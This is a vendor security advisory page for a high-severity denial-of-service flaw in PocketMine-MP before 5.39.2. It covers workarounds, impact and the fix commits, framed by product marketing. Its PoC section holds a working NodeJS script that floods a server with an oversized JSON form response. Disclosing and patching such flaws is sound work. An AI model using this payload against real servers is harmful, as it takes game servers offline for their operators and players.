GHSA-788V-5PFP-93FF

GHSA-788V-5PFP-93FF is a high-severity allocation of resources without limits or throttling vulnerability in pocketmine/pocketmine-mp (composer), affecting versions < 5.39.2. It is fixed in 5.39.2.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling

Workarounds

This issue can be worked around in a plugin using DataPacketReceiveEvent by:

  • checking the max size of the formData field
  • making sure the form ID is not repeated

However, a full workaround for the issue would require reflection to access the Player->forms property, which is not exposed via any accessible API prior to 5.39.2.

PoC

  1. Join a PocketMine-MP server as a regular player (no special permissions needed).

  2. Use a modified client or packet-sending script to send a ModalFormResponsePacket with:

    • Any non-existent formId
    • formData containing a massive JSON array (e.g., 10+ MB payload).
  3. The server will attempt to parse the JSON and may freeze or become unresponsive.

Example NodeJS pseudocode:

import { createClient } from 'bedrock-protocol';

const host = '127.0.0.1';
const port = 19132;
const username = 'Test';

const client = createClient({
  host,
  port,
  username,
  offline: true
});

const hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';

client.on('spawn', () => {
  console.log('[*] Connected & spawned. Sending malicious packet...');

  client.write('modal_form_response', {
    formId: 9999,       // Form inexistant
    formData: hugePayload // JSON énorme
  });

  console.log('[*] Packet sent. The server should start freezing shortly.');
});

Impact

The server does not meaningfully limit the size of the JSON payload in ModalFormResponsePacket. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.

The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.

The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.

Affected versions

pocketmine/pocketmine-mp (< 5.39.2)

Security releases

pocketmine/pocketmine-mp → 5.39.2 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

The issue was fixed in two parts:

  • cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse
  • f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID

Frequently Asked Questions

  1. What is GHSA-788V-5PFP-93FF? GHSA-788V-5PFP-93FF is a high-severity allocation of resources without limits or throttling vulnerability in pocketmine/pocketmine-mp (composer), affecting versions < 5.39.2. It is fixed in 5.39.2. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
  2. Which versions of pocketmine/pocketmine-mp are affected by GHSA-788V-5PFP-93FF? pocketmine/pocketmine-mp (composer) versions < 5.39.2 is affected.
  3. Is there a fix for GHSA-788V-5PFP-93FF? Yes. GHSA-788V-5PFP-93FF is fixed in 5.39.2. Upgrade to this version or later.
  4. Is GHSA-788V-5PFP-93FF exploitable, and should I be worried? Whether GHSA-788V-5PFP-93FF is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-788V-5PFP-93FF is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-788V-5PFP-93FF? Upgrade pocketmine/pocketmine-mp to 5.39.2 or later.

Other vulnerabilities in pocketmine/pocketmine-mp

Stop the waste.
Protect your environment with Kodem.